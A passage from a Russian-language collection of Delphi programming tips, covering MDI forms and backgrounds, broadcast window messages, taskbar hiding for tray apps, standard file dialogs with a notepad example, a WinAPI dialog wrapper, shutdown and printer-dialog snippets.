за исключением того, что их видимая часть ограничена размерами родительского окна. Так же при минимизации такого окна,
оно помещается не в панель задач, а остаётся внутри родительского окна ( на панель задач попадёт только родительское окно).
Теперь давайте создадим дополнительные формы, а точнее дочерние. Просто выберите File | New Form. Будет создан новый
объект формы с именем form1 (по умолчанию). При помощи Object Inspector измените свойство Name в форме form1 на frChild,
а свойство FormStyle на fsMDIChild. Сохраните эту форму с соответствующим ей файлом как uchild.pas. Обратите внимание,
что при помощи данного свойства мы можем превратить любую существующую форму в дочернюю форму MDI.
Ваше приложение может включать множество дочерних MDI форм такого же или другого типа.
Так же хочется обратить Ваше внимание, что MDI приложение может включать в себя и самые обычные формы, но в отличие
от дочерних, они будут отображаться как обычные модальные диалоговые окна (такие как about box, или файловый диалог).
Естевственно, что как на родительском так и на дочернем окнах можно располагать любые элементы управления, однако
уже давно сложилась традиция, что на родительской форме располагается панель статуса (status bar) и панель инструментов
(toolbar), в то время как на дочерних формах располагаются все остальные контролы, такие как гриды, картинки, поля
вводи и т. д.
Автосоздание -> Доступные
Теперь давайте произведём некоторые настройки нашего проекта. Выберите Project | Options, откроется диалог опций
проекта (Project Options). В левой панели выберите frChild (Авто-создание форм ("Auto-create forms")), и переместите
её в правую панель (Доступные формы (Available forms)). Список правой панели содержит те формы, которые используются
Вашим приложением, но которые не созданы автоматически. В MDI приложении, по умолчанию, все дочерние формы создаются
автоматически и отображаются в родительской форме.
Создание и отображение
Как упомянуто выше, настройка не позволяет автоматически создавать дочерние окна, поэтому нам необходимо добавить
некоторый код, который будет производить создание объекта формы frChild. Следующую функцию CreateChildForm необходимо
поместить внутри основной формы (MDI родитель) (наряду с заголовком в interface's private):
uses uchild;
...
procedure TfrMain.CreateChildForm(const childName : string);
var
Child: TfrChild;
begin
Child := TfrChild.Create(Application);
Child.Caption := childName;
end;
Данный код создаёт одну дочернюю форму с заголовком childName. Не забудьте, что этот код находится разделе "uses uchild".
На закрытие не минимизировать!
Закрытие дочернего окна в MDI приложении всего навсего минимизирует его в клиентской области родительского окна.
Поэтому мы должны обеспечить процедуру OnClose, и установить параметр Action в caFree:
procedure TfrChild.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caFree;
end;
Обратите внимание, что если форма является дочерней формой MDI, и её свойство BorderIcons установлено в biMinimize
(по умолчанию), то опять же по умолчанию параметр Action установлен в caMinimize. Если же в дочерней форме MDI нет
этих установок, то по умолчанию Action установлен как caNone, означающий, что при закрытии формы ничего не случится.
MDI родительское меню
Каждое MDI приложение должно иметь основное меню с (если больше ничего нет), опцией выравнивания окон. Поскольку мы
предварительно переместили дочернюю форму из Авто-создаваемых (Auto-create) в Доступные (Available) формы, то нам
нужен будет код, который (пункт меню) будет создавать дочерние формы.
Итак, переместите компонент TMainMenu на frMain (MDI родитель) и приведите его к следующему виду:
Для создания дочерних окон в нашем приложении будет использоваться пункт меню "New child". Второе меню (Window)
будет использоваться для выравнивания дочерних окошек внутри родительского окна-формы.
Создать и отобразить
В заключении нам необходимо сделать обработчик для пункта меню "New child". При нажатии на пунк меню File | New
Child нашего приложения, будет вызываться процедура NewChild1Click которая в свою очередь будет вызывать процедуру
CreateChildForm (приведённую выше), для создания (следующего) экземпляра формы frChild.
procedure TfrMain.NewChild1Click(Sender: TObject);
begin
CreateChildForm('Child '+IntToStr(MDIChildCount+1));
end;
Только что созданная дочерняя форма будет иметь заголовок в виде "Child x", где x представляет количество дочерних
форм внутри MDI формы, как описано ниже.
Закрыть всё
При работе с приложением, имеющим многодокументный интерфейс, всегда необходимо иметь процедуру, закрывающую
все дочерние окна.
procedure TfrMain.CloseAll1Click(Sender: TObject);
var
i: integer;
begin
for i:= 0 to MdiChildCount - 1 do
MDIChildren[i].Close;
end;
Вам прийдётся выполнять проверку на предмет наличия несохранённой информации в каждом дочернем окне. Для
решения данной задачи лучше всего использовать обработчик события OnCloseQuery.
Свойства MdiChildCount и MDIChildren
MdiChildCount свойство read only, содержащее в себе количество созданных дочерних окошек. Если не создано ни одно
дочернее окно, то это свойство установлено в 0. Нам прийдётся частенько использовать MdiChildCount наряду с массивом
MDIChildren. Массив MDIChildren содержит ссылки на объекты TForm всех дочерних окошек.
Обратите внимание, что MDIChildCount первого созданного дочернего окна равен 1.
Меню Window
Delphi обеспечивает большинство команд, которые можно поместить внутри пункта меню Window. Далее приведён пример вызова
трёх основных методов для команд, которые мы поместили в наше приложение:
procedure TfrMain.Cascade1Click(Sender: TObject);
begin
Cascade;
end;
procedure TfrMain.Tile1Click(Sender: TObject);
begin
Tile;
end;
procedure TfrMain.ArrangeAll1Click(Sender: TObject);
begin
ArrangeIcons;
end;
// Write this code in your MDI Child Window unit.
// Schreibe diesen Code in die Unit des MDI Child Fensters:
type
TfrmMyMDIForm = class(TForm)
public
procedure WMSize(var Msg: TWMSIZE); message WM_SIZE
end;
implementation
procedure TfrmMyMDIForm.WMSize(var Msg: TWMSize);
begin
if Msg.SizeType = SIZE_MINIMIZED then
ShowWindow(Handle, SW_HIDE);
end;
Привожу код, который может оказаться полезным. Он позволяет в обычной или MDI-форме создать графический tile-фон или
градиентную заливку.
(Tile - "секция, плитка" - непрерывное заполнение определенной области немасштабируемым изображением слева-направо
сверху вниз - В.О.)
Самая сложная часть кода осуществляет обработку системного сообщения, адресуемого дескриптору окна (ClientHandle),
осуществляющему управление дочерними формами. Происходит это в момент вывода изображений в MDI-форме. Все что вам
необходимо сделать - в режиме проектирования загрузить в imgTile необходимые изображения и перенести в свою программу
следующий код:
unit UMain;
interface
uses
Windows, Messages, Classes, SysUtils, Graphics, Controls, Forms,
Dialogs, ExtCtrls, Menus;
type
TfrmMain = class(TForm)
mnuMain: TMainMenu;
mnuFile: TMenuItem;
mnuExit: TMenuItem;
imgTile: TImage;
mnuOptions: TMenuItem;
mnuBitmap: TMenuItem;
mnuGradient: TMenuItem;
procedure mnuExitClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure mnuBitmapClick(Sender: TObject);
procedure mnuGradientClick(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure FormResize(Sender: TObject);
procedure FormPaint(Sender: TObject);
private
{ Private declarations }
MDIDefProc: pointer;
MDIInstance: TFarProc;
procedure MDIWndProc(var prmMsg: TMessage);
procedure CreateWnd; override;
procedure ShowBitmap(prmDC: hDC);
procedure ShowGradient(prmDC: hDC; prmRed, prmGreen, prmBlue: byte);
public
{ Public declarations }
end;
var
frmMain: TfrmMain;
glbImgWidth: integer;
glbImgHeight: integer;
implementation
{$R *.DFM}
procedure TfrmMain.FormCreate(Sender: TObject);
begin
glbImgHeight := imgTile.Picture.Height;
glbImgWidth := imgTile.Picture.Width;
end;
procedure TfrmMain.FormResize(Sender: TObject);
begin
FormPaint(Sender);
end;
procedure TfrmMain.MDIWndProc(var prmMsg: TMessage);
begin
with prmMsg do
begin
if Msg = WM_ERASEBKGND then
begin
if mnuBitmap.Checked then
ShowBitmap(wParam)
else
ShowGradient(wParam, 255, 0, 0);
Result := 1;
end
else
Result := CallWindowProc(MDIDefProc, ClientHandle, Msg, wParam, lParam);
end;
end;
procedure TfrmMain.CreateWnd;
begin
inherited CreateWnd;
MDIInstance := MakeObjectInstance(MDIWndProc); { создаем ObjectInstance }
MDIDefProc := pointer(SetWindowLong(ClientHandle, GWL_WNDPROC,
longint(MDIInstance)));
end;
procedure TfrmMain.FormCloseQuery(Sender: TObject; var CanClose:
Boolean);
begin
{ восстанавоиваем proc окна по умолчанию }
SetWindowLong(ClientHandle, GWL_WNDPROC, longint(MDIDefProc));
{ избавляемся от ObjectInstance }
FreeObjectInstance(MDIInstance);
end;
procedure TfrmMain.mnuExitClick(Sender: TObject);
begin
close;
end;
procedure TfrmMain.mnuBitmapClick(Sender: TObject);
var
wrkDC: hDC;
begin
wrkDC := GetDC(ClientHandle);
ShowBitmap(wrkDC);
ReleaseDC(ClientHandle, wrkDC);
mnuBitmap.Checked := true;
mnuGradient.Checked := false;
end;
procedure TfrmMain.mnuGradientClick(Sender: TObject);
var
wrkDC: hDC;
begin
wrkDC := GetDC(ClientHandle);
ShowGradient(wrkDC, 0, 0, 255);
ReleaseDC(ClientHandle, wrkDC);
mnuGradient.Checked := true;
mnuBitMap.Checked := false;
end;
procedure TfrmMain.ShowBitmap(prmDC: hDC);
var
wrkSource: TRect;
wrkTarget: TRect;
wrkX: integer;
wrkY: integer;
begin
{ заполняем (tile) окно изображением }
if FormStyle = fsNormal then
begin
wrkY := 0;
while wrkY < ClientHeight do { заполняем сверху вниз.. }
begin
wrkX := 0;
while wrkX < ClientWidth do { ..и слева направо. }
begin
Canvas.Draw(wrkX, wrkY, imgTile.Picture.Bitmap);
Inc(wrkX, glbImgWidth);
end;
Inc(wrkY, glbImgHeight);
end;
end
else if FormStyle = fsMDIForm then
begin
Windows.GetClientRect(ClientHandle, wrkTarget);
wrkY := 0;
while wrkY < wrkTarget.Bottom do
begin
wrkX := 0;
while wrkX < wrkTarget.Right do
begin
BitBlt(longint(prmDC), wrkX, wrkY, imgTile.Width, imgTile.Height,
imgTile.Canvas.Handle, 0, 0, SRCCOPY);
Inc(wrkX, glbImgWidth);
end;
Inc(wrkY, glbImgHeight);
end;
end;
end;
procedure TfrmMain.ShowGradient(prmDC: hDC; prmRed, prmGreen, prmBlue: byte);
var
wrkBrushNew: hBrush;
wrkBrushOld: hBrush;
wrkColor: TColor;
wrkCount: integer;
wrkDelta: integer;
wrkRect: TRect;
wrkSize: integer;
wrkY: integer;
begin
{ процедура заполнения градиентной заливкой }
wrkDelta := 255 div (1 + ClientHeight); { желаемое количество оттенков }
if wrkDelta = 0 then
wrkDelta := 1; { да, обычно 1 }
wrkSize := ClientHeight div 240; { размер смешанных баров }
if wrkSize = 0 then
wrkSize := 1;
for wrkY := 0 to 1 + (ClientHeight div wrkSize) do
begin
wrkColor := RGB(prmRed, prmGreen, prmBlue);
wrkRect := Rect(0, wrkY * wrkSize, ClientWidth, (wrkY + 1) * wrkSize);
if FormStyle = fsNormal then
begin
Canvas.Brush.Color := wrkColor;
Canvas.FillRect(wrkRect);
end
else if FormStyle = fsMDIForm then
begin
wrkBrushNew := CreateSolidBrush(wrkColor);
wrkBrushOld := SelectObject(prmDC, wrkBrushNew);
FillRect(prmDC, wrkRect, wrkBrushNew);
SelectObject(prmDC, wrkBrushOld);
DeleteObject(wrkBrushNew);
end;
if prmRed > wrkDelta then
Dec(prmRed, wrkDelta);
if prmGreen > wrkDelta then
Dec(prmGreen, wrkDelta);
if prmBlue > wrkDelta then
Dec(prmBlue, wrkDelta);
end;
end;
procedure TfrmMain.FormPaint(Sender: TObject);
begin
if FormStyle = fsNormal then
if mnuBitMap.Checked then
mnuBitMapClick(Sender)
else
mnuGradientClick(Sender);
end;
end.
var
FM_FINDPHOTO: Integer;
// Для того, чтобы использовать hwnd_Broadcast нужно
// сперва зарегистрировать уникальное сообщение.
initialization
FM_FindPhoto := RegisterWindowMessage('MyMessageToAll');
// Чтобы поймать это сообщение в другом приложении
// (приемнике) нужно перекрыть DefaultHandler
procedure TForm1.DefaultHandler(var Message);
begin
with TMessage(Message) do
begin
if Msg = Fm_FindPhoto then
MyHandler(WPARAM, LPARAM)
else
inherited DefaultHandler(Message);
end;
end;
// А теперь можно в приложении-передатчике
SendMessage(HWND_BROADCAST, FM_FINDPHOTO, 0, 0);
Кстати, для посылки сообщения дочерним контролам некоего контрола можно использовать метод Broadcast.
Я пытаюсь создать приложение, помещающее во время запуска иконку в системную область панели задач c надлежащим контекстным меню.
Тем не менее приложение все еще остается видимым в панели задач. Использование Application.ShowMainForm:=False оказывается
недостаточным.
Я тоже столкнулся с этой проблемой, но, к счастью, нашел ответ. Вот маленький код, который классно справляется с проблемой.
procedure TMainForm.FormCreate(Sender: TObject);
begin
Application.OnMinimize:=AppMinimize;
Application.OnRestore:=AppMinimize;
Application.Minimize;
AppMinimize(@Self);
end;
procedure TMainForm.AppMinimize(Sender: TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;
Как мне сделать так, чтобы видимой была только выбранная форма? (то есть без главной формы)
Попробуйте этот код в любом вторичном окне, которое вы НЕ хотите сопровождать главным окном:
...
private {Это включается в объявления формы.}
{ Private declarations }
procedure CreateParams(VAR Params: TCreateParams); override;
...
procedure TForm2.CreateParams(VAR Params: TCreateParams);
begin
Inherited CreateParams(Params);
Params.WndParent := GetDesktopWindow;
end;
Присваивая дескриптор окна родительской формы Рабочему столу, вы удаляете ту связь, которая, в нормальной ситуации, при выводе
окна на самый верхний уровень, заставляет переместиться туда также целиком все приложение.
Существует ли в Delphi возможность создавать главную форму по условию? Я хочу использовать условие IF (в зависимости от
передаваемого параметра) для того, чтобы определить какая форма будет главной при старте приложения. Фактически "другую"
форму НЕ нужно будет загружать.
Хитрость здесь заключается в том, что мы предоставляем компилятору весь необходимый для создания форм код, но не допускаем
его выполнения (IF FALSE THEN), при этом компилятор не ругается, а мы тем временем (во время выполнения приложения)
выбираем и создаем главную форму. Вот пример кода, измененный .DPR-файл, который при старте случайным образом выбирает
из друх форм главную:
begin
if FALSE then
begin
Application.CreateForm(TForm1, Form1);
Application.CreateForm(TForm2, Form2);
end;
Randomize;
if Random < 0.5 then
Application.CreateForm(TForm1, Form1)
else
Application.CreateForm(TForm2, Form2);
Application.Run;
end.
Пара "подходящих" для CreateForm форм заключено в никогда не выполнимый блок, тем самым приводя компилятор в состояние
свинячего восторга.
Как мне получить информационное окошко c 3D-стилем и простыми кнопками (без Glyph), не особо изголяясь в
программировании?
Просто добавьте следующую строчку в ваш код диалогового окошка:
MsgDlgGlyphs := false;
Лично я для дальнейшего использования создал целую коллекцию информационных окошек с моими собственными иконками.
Моя основная претензия к стандартному окошку - близкое расположение иконки к левому краю кнопки - заставляет его
выглядеть непрофессионально.
Я пытаюсь использовать MessageDlg в обработчике OnExit компонента TEdit. При показе диалогового окна пользователь
нажимает одну из кнопок, после чего, по идее, должно возникнуть событие OnEnter компонента, но оно не возникает
Если вызов диалога сопровождается комментарием, событие OnEnter инициализируется верно. В любом случае, событие
OnExit завершает весь код.
Фактически (в момент показа диалога), фокус имеет поле редактирование, но курсор при этом не выводится. Передавая
фокус "вперед" и снова "назад", вы получите желаемый результат. Например: В обработчике события OnExit поля
редактирования после вызова MessageDlg попробуйте вызвать следующие функции:
PostMessage(Handle, WM_NEXTDLGCTL, 0, 0);
PostMessage(Handle, WM_NEXTDLGCTL, 1, 0);
Проблема в следующем: если положить на одну форму два фрейма одного типа, то в дизайне все нормально, а при создании
формы во время выполнения может произойти ошибка: Component named xxxx already exists. Причина - баг в коде загрузки
фрейма из DFM.
ТИПОВЫЕ РЕШЕНИЯ
Чтобы такое не возникало, фреймы одного типа, размещенные на форме, должны иметь имена, отличные от ТипФреймаНомер,
например, TMyFrame1 или TMyFrame5. Дайте фреймам другие имена, и форма будет создаваться нормально.
КОММЕНТАРИЙ
Описанный эффект возникает в случае, если один из нескольких экземпляров фрейма на форме имеет имя, соответствующее
его типу, при отбрасывании первой "T". Например:
Frame1: TFrame1; // причина проблемы
Frame2: TFrame1;
Frame3: TFrame1;
Но!
Во-первых, автоматический генератор кода в IDE (вероятно, зная об этой особенности - D5 SP1) дает имена вида:
Frame11 : TFrame1;
Frame12 : TFrame1;
Frame13 : TFrame1;
...
Frame21 : TFrame2;
Во-вторых, кому в здравом уме придет в голову заменять стандартные имена компонентов на свои, но тоже нумерованные?
Бывают, конечно, случаи, когда номер имеет некий смысл в прикладном контексте, но уж очень редко. При этом еще нужно,
чтобы это обстоятельство совпало с тем, что смысловая часть имени типа фрейма равна таковой для экземпляра.
Вывод: имейте хорошую привычку сразу давать осмысленные имена экземплярам компонентов, фреймов, форм, и вы никогда не
нарветесь на подобные подводные камни.
Стандарные диалоговые окошки
Практически любое приложение Windows использует стандартные диалоги, встроенные в операционную систему, для открытия и
сохранения файлов, поиска текста, печати, выбора шрифта или установки цвета.
В этой статье мы рассмотрим основные свойства и методы этих диалогов и, особенно, сфокусируем внимание на диалогах
Open и Save.
Стандартные диалоговые окошки можно найти на панели компонентов в закладке Dialogs. Для того, чтобы начать
использовать определённое диалоговое окошко, его достаточно поместить на форму. Компоненты стандартных диалогов
являются невидимыми, поэтому Вы не сможете изменить дизайн такого диалога во время разработки приложения.
TOpenDialog и TSaveDialog
Диалоговые окошки File Open и File Save имеют несколько общих свойств. File Open в основном используется для выбора
и открытия файлов, в то время как диалог File Save (так же используется как диалоговое окошко Save As) используется
для получения от пользователя имени файла, чтобы сохранить файл. Далее мы рассмотрим некоторые важные свойства
TOpenDialog и TSaveDialog:
Свойство Options предназначено для задания конечного вида окна. Например, при помощи следующего кода:
with OpenDialog1 do
Options := Options + [ofAllowMultiSelect, ofFileMustExist];
мы позволим пользователю выбирать несколько файлов, а так же заставим генерироваться сообщение об ошибке, если
пользователь выберет несуществующий файл.
Свойство InitialDir используется для указания директории, которая будет показана при создании диалога. Следующий
код установит начальную директорию, из которой было запущено приложение:
SaveDialog1.InitialDir := ExtractFilePath(Application.ExeName);
Свойство Filter содержит список типов файлов, которые сможет выбирать пользователь. Когда пользователь выберет тип
файлов, то в диалоговом окне будут отображаться только файлы данного расширения. Фильтр можно легко установить на
стадии создания приложения при помощи диалога редактора фильтра (Filter Editor):
Так же фильтр можно задать программно. Строка фильтра должна содержать описание и расширение для данного типа
файлов, разделённые вертикальной чертой:
OpenDialog1.Filter := 'Text files (*.txt)|*.txt|All files (*.*)|*.*';
Свойство FileName. Когда пользователь нажмёт на диалоге кнопку OK, то это свойство будет содержать полный путь
и имя выбранного файла.
Вызов диалогового окошка
Для создания и отображения стандартного диалога необходимо выполнить метод Execute для нужного диалога. За
исключением диалогов TFindDialog и TReplaceDialog, все остальные диалоги отображаются модально.
Все стандартные диалоговые окошки позволяют определить нажал ли пользователь кнопку "Отмена" (Cancel) (или нажал ESC).
Если метод Execute вернул True значит пользователь нажал OK или сделал двойной щелчёк по файлу либо нажал Enter на
клавиатуре, иначе, если была нажата кнопка Cancel, клавиша Esc или Alt-F4, будет возвращено значение False.
if OpenDialog1.Execute then
ShowMessage(OpenDialog1.FileName);
Этот код показывает диалог File Open и, если пользователь нажал "Открыть" (Open), то будет показано имя выбранного
файла.
Использование только кода
Чтобы работать диалогом Open (или любым другим) не помещая при этом на форму компонент OpenDialog, можно
воспользоваться следующим кодом:
procedure TForm1.btnFromCodeClick(Sender: TObject);
var
OpenDlg: TOpenDialog;
begin
OpenDlg := TOpenDialog.Create(Self);
{здесь устанавливаем опции...}
if OpenDlg.Execute then
begin
{здесь что-нибудь делаем}
end;
OpenDlg.Free;
end;
Обратите внимание, что перед вызовом Execute, можно установить различные свойства компонента OpenDialog.
TOpenPictureDialog и TSavePictureDialog
Эти два диалога есть ничто иное как обычные File Open и File Save с дополнительной возможностью предварительного
просмотра выбранной картинки.
Мой Блокнот
А теперь предлагаю применить теорию на практике. Создадим простейший блокнот, и посмотрим как работают диалоговые
окошки Open и Save:
Для создания блокнота проделаем следующее:
1. Запустите Delphi и выберите в меню File-New Application.
2. Поместите на форму Memo, OpenDialog, SaveDialog и две кнопки.
3. Переименуйте Button1 в btnOpen, а Button2 в btnSave.
Код
1. Поместите в событие формы FormCreate следующий код:
procedure TForm1.FormCreate(Sender: TObject);
begin
with OpenDialog1 do
begin
Options := Options + [ofPathMustExist, ofFileMustExist];
InitialDir := ExtractFilePath(Application.ExeName);
Filter := 'Text files (*.txt)|*.txt';
end;
with SaveDialog1 do
begin
InitialDir := ExtractFilePath(Application.ExeName);
Filter := 'Text files (*.txt)|*.txt';
end;
Memo1.ScrollBars := ssBoth;
end;
Этот код устанавливает некоторые свойства диалога Open как было описано в начале статьи.
2. Добавьте следующий код в событие Onclick для кнопок btnOpen и btnSave:
procedure TForm1.btnOpenClick(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
Form1.Caption := OpenDialog1.FileName;
Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
Memo1.SelStart := 0;
end;
end;
procedure TForm1.btnSaveClick(Sender: TObject);
begin
SaveDialog1.FileName := Form1.Caption;
if SaveDialog1.Execute then
begin
Memo1.Lines.SaveToFile(SaveDialog1.FileName + '.txt');
Form1.Caption := SaveDialog1.FileName;
end;
end;
Теперь можно смело запускать проект
// Там не листбокс, а EDIT, но суть точно та же. Чтобы получить текст, а не
// записать его, надо просто использовать Get вместо Set. Судя по тому, что
// программа уже 2 года работает без малейших проблем, Z-порядок при каждом
// показе диалога один и тот же.
program Project1;
uses
Windows, Messages;
const
Title1 = 'Установка связи';
Title2 = 'Удаленное соединение';
Login = '...';
Password = '...';
var
Wnd: HWND;
Control: array [0..127] of char;
procedure TypeTextIntoNextEdit(AText:string);
begin
repeat // Ищем следующее в Z-порядке окно класса EDIT
Wnd := GetWindow(Wnd, GW_HWNDNEXT);
GetClassName(Wnd, Control, SizeOf(Control))
until Control = 'Edit';
SendMessage(Wnd, WM_SETTEXT, 0, Integer(PChar(AText))) // Вводим текст
end;
begin
Wnd := FindWindow(nil, Title1); // Это окно самого диалога
if Wnd = 0 then // Если не найдено, ищем другой диалог
begin
Wnd := FindWindow(nil, Title2);
if Wnd = 0 then Exit;
end;
Wnd := GetWindow(Wnd, GW_CHILD); // Это верхний комбобокс
TypeTextIntoNextEdit(Login); // Вводим логин
TypeTextIntoNextEdit(Password) // Вводим пароль
end.
{
It is possible to close a common dialog shown by TCommonDialog.Execute
(or its overriddens) method while it is visible and application handles messages.
The solution is:
Es ist moglich einen TCommonDialog der mit TCommonDialog.Execute geoffnet wurde,
automatisch zu schliessen wahrend er sichtbar ist. Die Losung ist:
}
SendMessage(GetParent(OpenDialog1.Handle), WM_SYSCOMMAND, SC_CLOSE, 0);
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Автосмена расширения файла в строке ввода OpenDialog при смене типа файла
Кусок из моей программы, в котором автоматически изменяется расширение файла в
строке редактирования имени файла в OpenDialog (у меня - в его наследнике), если
пользователь изменяет тип файла. Функция CustomOnTypeChange должна быть поставлена
как обработчик события OnTypeChange.
Зависимости: Windows, SysUtils, Forms, Dialogs
Автор: Павел Озерский, pavel@insect.mail.iephb.ru, Санкт-Петербург
Copyright: Cобственное написание (Павел Озерский), небольшая коррекция - Игорь Плотников
Дата: 18 апреля 2002 г.
***************************************************** }
type
tHookParam = packed record
case integer of
0: (l: longint);
1: (
iDX: byte;
isOpen: byteBool;
xtLen: word);
end;
const
DX: array[1..5] of string[3] = ('bmp', 'tif', 'jpg', '', '');
function dHook(h: tHandle; param: longint): longbool; stdcall;
var
ss: shortstring;
ls: ansistring;
hp: tHookParam absolute param;
begin
byte(ss[0]) := GetClassName(h, @ss[1], 255);
if ss = 'Edit' then
begin
if hp.isOpen then
ls := ''
else
begin
byte(ss[0]) := GetWindowText(h, @ss[1], 255);
ls := ChangeFileExt(ss, '.' + DX[hp.iDX]);
end;
SetWindowText(h, pchar(ls));
result := false;
end
else
Result := true;
end;
{$O-}
procedure TMultiFormatOpenPictureDialog.CustomOnTypeChange(Sender: tObject);
var
ext: string;
SaveStyle: boolean;
hp: tHookParam;
begin
hp.isOpen := not (Sender is tSaveDialog);
hp.iDX := tOpenDialog(Sender).FilterIndex;
tOpenDialog(Sender).DefaultExt := DX[hp.iDX];
ext := extractFileExt(tOpenDialog(Sender).filename);
hp.xtLen := length(ext);
if (ext <> '') and (DX[tOpenDialog(Sender).FilterIndex] <> '') then
if ext[1] = '.' then
begin
SaveStyle := NewStyleControls;
NewStyleControls := false;
tOpenDialog(Sender).filename := copy(tOpenDialog(Sender).filename, 1,
length(tOpenDialog(Sender).filename) - length(ext)) + '.' +
tOpenDialog(Sender).DefaultExt;
EnumChildWindows(GetParent(tOpenDialog(Sender).handle), @dHook, hp.l);
NewStyleControls := SaveStyle;
end;
end;
{$O+}
{
Today I want to display how you may use the simple functions as
alternative for TOpenDialog/TSaveDialog components.
Problem is that Borland incorrectly wrote those components and when
Microsoft add some new extended features in own dialogs,
standard TOpenDialog and TSaveDialog still use old style.
For example, when Microsoft added placebar in own dialogs,
VCL's dialog still use old style without placebars.
Personally I prefer to use applications that support all
features of installed OS.
This is a reason why I wrote the function as wrapper for Windows
API call for dialogs and now I use this function instead components.
It allow not only to use all new features from Windows,
but also reduce a size for exe-file and allow to use same function for
both TOpenDialog and TSaveDialog functionality.
For example:
1. to display the "OpenDialog" for text files
s := 'aaa.txt';
if OpenSaveFileDialog(Application.Handle, 'txt', 'Text Files|*.txt', 'c:\',
'Select text file', s, True) then
ShowMessage(s + ' file was selected for open')
2. to display the "Save dialog":
s := 'data.dbf';
if OpenSaveFileDialog(Application.Handle, 'dbf', 'dBase tables|*.dbf|All files|*.*',
'c:\', 'Select table', s, False) then
ShowMessage(s + ' table was selected for save')
See full code below. Hope you'll find this code useful.
}
uses Windows;
function OpenSaveFileDialog(ParentHandle: THandle; const DefExt, Filter, InitialDir,
Title: string; var FileName: string; IsOpenDialog: Boolean): Boolean;
implementation
uses ShlObj, SysUtils;
type
POpenFilenameA = ^TOpenFilenameA;
POpenFilename = POpenFilenameA;
tagOFNA = packed record
lStructSize: DWORD;
hWndOwner: HWND;
hInstance: HINST;
lpstrFilter: PAnsiChar;
lpstrCustomFilter: PAnsiChar;
nMaxCustFilter: DWORD;
nFilterIndex: DWORD;
lpstrFile: PAnsiChar;
nMaxFile: DWORD;
lpstrFileTitle: PAnsiChar;
nMaxFileTitle: DWORD;
lpstrInitialDir: PAnsiChar;
lpstrTitle: PAnsiChar;
Flags: DWORD;
nFileOffset: Word;
nFileExtension: Word;
lpstrDefExt: PAnsiChar;
lCustData: LPARAM;
lpfnHook: function(Wnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT stdcall;
lpTemplateName: PAnsiChar;
end;
TOpenFilenameA = tagOFNA;
TOpenFilename = TOpenFilenameA;
function GetOpenFileName(var OpenFile: TOpenFilename): Bool; stdcall; external 'comdlg32.dll' name 'GetOpenFileNameA';
function GetSaveFileName(var OpenFile: TOpenFilename): Bool; stdcall; external 'comdlg32.dll' name 'GetSaveFileNameA';
const
OFN_DONTADDTORECENT = $02000000;
OFN_FILEMUSTEXIST = $00001000;
OFN_HIDEREADONLY = $00000004;
OFN_PATHMUSTEXIST = $00000800;
function CharReplace(const Source: string; oldChar, newChar: Char): string;
var
i: Integer;
begin
Result := Source;
for i := 1 to Length(Result) do
if Result[i] = oldChar then
Result[i] := newChar
end;
function OpenSaveFileDialog(ParentHandle: THandle; const DefExt, Filter, InitialDir, Title: string; var FileName:
string; IsOpenDialog: Boolean): Boolean;
var
ofn: TOpenFileName;
szFile: array[0..MAX_PATH] of Char;
begin
Result := False;
FillChar(ofn, SizeOf(TOpenFileName), 0);
with ofn do
begin
lStructSize := SizeOf(TOpenFileName);
hwndOwner := ParentHandle;
lpstrFile := szFile;
nMaxFile := SizeOf(szFile);
if (Title <> '') then
lpstrTitle := PChar(Title);
if (InitialDir <> '') then
lpstrInitialDir := PChar(InitialDir);
StrPCopy(lpstrFile, FileName);
lpstrFilter := PChar(CharReplace(Filter, '|', #0)+#0#0);
if DefExt <> '' then
lpstrDefExt := PChar(DefExt);
end;
if IsOpenDialog then
begin
if GetOpenFileName(ofn) then
begin
Result := True;
FileName := StrPas(szFile);
end;
end
else
begin
if GetSaveFileName(ofn) then
begin
Result := True;
FileName := StrPas(szFile);
end;
end
end;
{
To programmatically shut down Windows, you can use the ShutdownWindows method.
Running the code
}
uses ComObj;
{....}
procedure TForm1.Button1Click(Sender: TObject);
var
shell: Variant;
begin
shell := CreateOleObject('Shell.Application');
shell.ShutdownWindows;
end;
{ has the same result as clicking Shut Down in the Start menu. }
{
If you need to create your own printer dialog, you can use the PrinterProperties
API function to bring up a printer's properties dialog.
}
uses
WinSpool, Printers;
procedure TForm1.Button1Click(Sender: TObject);
const
{
The TPrinterDefaults structure specifies the default data type,
environment, initialization data, and access rights for a printer.
}
Defaults: TPrinterDefaults = (pDatatype: nil;
pDevMode: nil;
DesiredAccess: STANDARD_RIGHTS_REQUIRED or PRINTER_ACCESS_USE);
var
hPrinter: THandle;
Device: array[0..255] of char;
Driver: array[0..255] of char;
Port: array[0..255] of char;
hDeviceMode: THandle;
RetVal: Boolean;
begin
Printer.PrinterIndex := Combobox1.ItemIndex;
{ Retrieve information about the specified printer }
Printer.GetPrinter(Device,
Driver,
Port,
hDeviceMode);
{ Retrieve a handle identifying the specified printer or print }
if not OpenPrinter(@Device, hPrinter, @Defaults) then
RaiseLastWin32Error;
try
{ Display a printer-properties property sheet for the specified printer }
PrinterProperties(Handle, hPrinter);
finally
{ Close the specified printer object }
ClosePrinter(hPrinter);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{ Show available printers in a Combobox }
Combobox1.Items := Printer.Printers;
Combobox1.ItemIndex := 0;
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вывод пояснения о текущей операции.
При вызове этой функции на экране появляется табличка с указанной
в параметре msg надписью. В параметрах TxColor, BgColor и BvColor
определяются цвета текста, заливки и рамки, соответственно.
Возвращает функция ссылку на объект типа TForm, который необходимо
освободить, когда табличка уже не нужна.
Вероятная проблема: Если у Вас слишком много текста в табличке,
она может не уместиться на экране и вылезет краями за его предел.
Зависимости: Forms, StdCtrls, ExtCtrls, Controls, Graphics, Classes;
Автор: Роман Василенко, romix@nm.ru, Пятигорск
Copyright: Роман Василенко
Дата: 23 сентября 2002 г.
***************************************************** }
//ИМХО, нечего комментировать здесь.
function ShowWaitMsg(msg: string; TxColor, BgColor, BvColor: tcolor): tform;
var
frm: tform;
lb: tlabel;
sh: tshape;
begin
frm := tform.CreateNew(Application);
with frm do
begin
BorderIcons := [];
borderstyle := bsNone;
position := poScreenCenter;
